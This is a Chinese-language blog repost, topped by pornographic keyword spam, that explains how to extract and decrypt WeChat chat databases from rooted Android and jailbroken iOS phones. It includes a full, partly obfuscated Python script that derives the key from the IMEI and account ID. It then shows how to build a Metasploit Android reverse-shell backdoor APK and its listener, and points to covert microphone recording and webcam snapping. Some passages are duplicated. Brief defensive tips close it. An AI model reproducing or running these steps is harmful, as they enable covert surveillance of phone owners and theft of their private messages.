日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓

發布時間:2024/1/8 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

在這篇文章中我們將討論如何獲取安卓、蘋果設備中的微信聊天記錄,并演示如何利用后門通過Metasploit對安卓設備進行控制。文章比較基礎、可動手性強,有設備的童鞋不妨邊閱讀文章邊操作,希望能激發大家對移動終端的安全興趣。


“如何獲取android、iPhone手機上的微信聊天記錄? ”

0×00 條件:
安卓設備已獲取root權限,安裝SSHDroid(通過ssh、ftp連接手機)

Apple設備越獄,安裝OpenSSH插件

0×01 安卓:
很多安卓手機的用戶都會遇到這么一個尷尬的問題:手機用久了就不知不覺變得慢了,最后慢到什么都遲鈍了。為了解決這個問題和大多數人一樣我選擇了root設備。

安卓設備在root以后可以對系統文件存在最高級別的操作權限。比如,你在安卓設備上安裝了微信,那么root以后通過adb shell你能對微信App的文件配置進行讀取修改等操作。

Android應用程序的數據庫文件通常會保存在 /data/data/packagename/database 文件夾下,微信App文件存放路徑為:/data/data/com.tencent.mm/MicroMsg

首先通過FTP把文件down到本地:

以34位編碼(類似于亂碼)命名的文件夾中可找到微信賬號的加密數據庫文件 :EnMicroMsg.db

用數據庫管理器打開:提示加密或者不是數據庫文件

Android應用程序的數據庫文件通常會保存在 /data/data/packagename/database 文件夾下,微信App文件存放路徑為:/data/data/com.tencent.mm/MicroMsg

首先通過FTP把文件down到本地:

以34位編碼(類似于亂碼)命名的文件夾中可找到微信賬號的加密數據庫文件 :EnMicroMsg.db

用數據庫管理器打開:提示加密或者不是數據庫文件

這里可以用Windows環境下的SQLite Database Browser瀏覽器打開:

提示輸入密碼:

<int name="default_uin" value="http://www.freebuf.com/articles/terminal/146****21" />


通過上述兩種方法找到的uin值是相同的。

安卓撥號界面輸入*#06#獲得手機IMEI碼:354**********85

SIM值+uin值組合即為14621354******85

md5: http://www.spriteking.com/cmd5/ 左側加密

到32位小寫md5值:a1edf9f5********************b5e5 取其前七位:a1edf9f輸入到sql瀏覽器中。

linux、Mac用戶也可以在終端執行:

echo -n "146****21354**********85" | md5sum | cut -c -7


成功打開微信的數據庫文件:


Wechat2txt.py:gist.github.com

import os import sys import re import hashlib import csv import time import locale import getoptdef get_db():os.popen('adb root').close()text = os.popen('adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read()return text.splitlines()[- 1] if text else ''def get_default_uin():os.popen('adb root').close()text = os.popen('adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read()default_uin = re.findall('name="default_uin" value="http://www.freebuf.com/articles/terminal/([0-9]+)"', text)return default_uin[0] if default_uin else 0def get_device_ID():text = os.popen('adb shell dumpsys iphonesubinfo').read()device_ID = re.findall('Device ID = ([0-9]+)', text)return device_ID[0] if device_ID else 0def get_md5():default_uin = get_default_uin()device_ID = get_device_ID()if default_uin and device_ID:return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]return ''def parse_msgcsv(msgcsv):locale.setlocale(locale.LC_ALL, '')if hasattr(msgcsv, 'title'):msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()]passOooO0 = csv.reader(msgcsv)OooO0.next()for ooOoo0O in OooO0:try:II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[: 12]passexcept:continueooooooO0oo = 'me' if (Oo00OOOOO == '1') else nameIIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1)yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]passpassdef get_names(chat):names = {}for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:names[name] = 1passreturn names.keys()def oo(chat, name=''):text = []name = name.lower()for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n ')o0 = ('\t' + o0) if o0 else ''if not name:text.append('%s: %s %s: %s %s' %(name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))passelif name.lower() == name:text.append('%s %s: %s %s' %(I1IIIii, ooooooO0oo, iIi1ii1I1, o0))passpassreturn '\n'.join(text) + '\n'def IIIii1II1II(dbn, key=''):child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])if key:child_stdin.write('PRAGMA key=%s;\n' % ` key `)child_stdin.write('pragma cipher_use_hmac=off;\n')passchild_stdin.write('.tables\n')child_stdin.close()return child_stdout.read().split()def decrypt(dbn, key='', table='message'):table = table or 'message'child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])child_stdin.write('.header on\n')child_stdin.write('.mode csv\n')if key:child_stdin.write('PRAGMA key=%s;\n' % ` key `)child_stdin.write('pragma cipher_use_hmac=off;\n')passchild_stdin.write('select * from %s;\n' % ` table `)child_stdin.close()return child_stdout.read()def wechat2txt(names=[]):in_file = 'EnMicroMsg.db'out_file = 'message.csv'db = get_db()md5 = get_md5()os.popen('adb wait-for-device')os.popen('adb pull %s %s' % (db, in_file)).close()msgcsv = decrypt(in_file, md5)if msgcsv.find('\n') < 0:return 1file(out_file, 'w').write(msgcsv)msgs = list(parse_msgcsv(msgcsv))if not msgs:return 1if not names:names = get_names(msgs)passfor name in names:filename = 'message.%s.txt' % nametext = oo(msgs, name)if len(text) > 4:file(filename, 'w').write(text)passpasspasshelp_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]...OPTIONS:-h display this help and exit '''def main():try:opts, args = getopt.getopt(sys.argv[1:], 'h')except getopt.error, e:print help_msgreturn 1for opt, arg in opts:if opt == '-h':print help_msgreturn 1passnames = argstext = wechat2txt(names)return not textif __name__ == "__main__":sys.exit(main())

0×02 蘋果:
Apple設備越獄后可通過Cydia安裝各種小插件,通常情況我會安裝OpenSSH來使自己能通過終端連接到Apple設備中,并使用sftp傳輸文件:

iOS中,應用文件夾以hash值命名,要導出微信、QQ的聊天記錄其難度相對安卓來說稍微復雜很多。

在實際操作中我們可以通過巧用Linux命令(find、grep、xargs)來繞過這些坑。

find /var/mobile/Containers/Data -name "MM.sqlite" mkdir /cache find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../../ /cache

在越獄iOS竊取隱私可參考:幫女神修手機的意外發現:隱匿在iOS文件系統中的隱私信息 一文

0×03 在安卓終端植入后門
3.1 實驗環境

Kali Linux(Hack):192.168.31.213

Android(靶機):192.168.31.118

3.2生成后門文件:

cd Desktop msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk


3.3 運行metasploit控制臺

msfconsoleuse exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.31.213 set LPORT 443 run


3.4 安裝&運行后門App

后門能進行什么操作?我們來看看usage:

meterpreter > helpCore commands =============Command Description------- -----------? Help menubackground Backgrounds the current sessionbgkill Kills a background meterpreter scriptbglist Lists running background scriptsbgrun Executes a meterpreter script as a background threadchannel Displays information about active channelsclose Closes a channeldisable_unicode_encoding Disables encoding of unicode stringsenable_unicode_encoding Enables encoding of unicode stringsexit Terminate the meterpreter sessionhelp Help menuinfo Displays information about a Post moduleinteract Interacts with a channelirb Drop into irb scripting modeload Load one or more meterpreter extensionsquit Terminate the meterpreter sessionread Reads data from a channelresource Run the commands stored in a filerun Executes a meterpreter script or Post moduleuse Deprecated alias for 'load'write Writes data to a channelStdapi: File system Commands ============================Command Description------- -----------cat Read the contents of a file to the screencd Change directorydownload Download a file or directoryedit Edit a filegetlwd Print local working directorygetwd Print working directorylcd Change local working directorylpwd Print local working directoryls List filesmkdir Make directorypwd Print working directoryrm Delete the specified filermdir Remove directorysearch Search for filesupload Upload a file or directoryStdapi: Networking Commands ===========================Command Description------- -----------ifconfig Display interfacesipconfig Display interfacesportfwd Forward a local port to a remote serviceroute View and modify the routing tableStdapi: System Commands =======================Command Description------- -----------execute Execute a commandgetuid Get the user that the server is running asps List running processesshell Drop into a system command shellsysinfo Gets information about the remote system, such as OSStdapi: Webcam Commands =======================Command Description------- -----------record_mic Record audio from the default microphone for X secondswebcam_list List webcamswebcam_snap Take a snapshot from the specified webcam

record_mic 通過手機麥克風進行竊聽、錄音;
webcam_list 列出安卓設備的所有攝像頭;
webcam_snap 通過攝像頭進行偷拍…
等等

0×04 演示視頻
0×05 APK后門分析:
把apk放到apk分析工具(apkStudio、Bytecodeviewer)進行解包,我們來看看后門App的源碼:

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我們可以找到后門服務器的ip端口配置:

(apkStudio)

(Bytecodeviewer)

0×06 預防&安全建議
安卓:從可信來源下載應用程序,避免感染惡意程序;在移動充電樁充電前及時關閉USB調試。

蘋果:越獄后及時修改root密碼,避免使用默認密碼、弱口令。

0×07 文中工具下載地址:
SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

0×08 參考&感謝
How To Decrypt WeChat EnMicroMsg.db Database?

Android微信數據導出

微信聊天記錄分析

A look at WeChat security

https://gist.github.com/scturtle/7248017

幫女神修手機的意外發現:隱匿在iOS文件系統中的隱私信息

總結

以上是生活随笔為你收集整理的如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。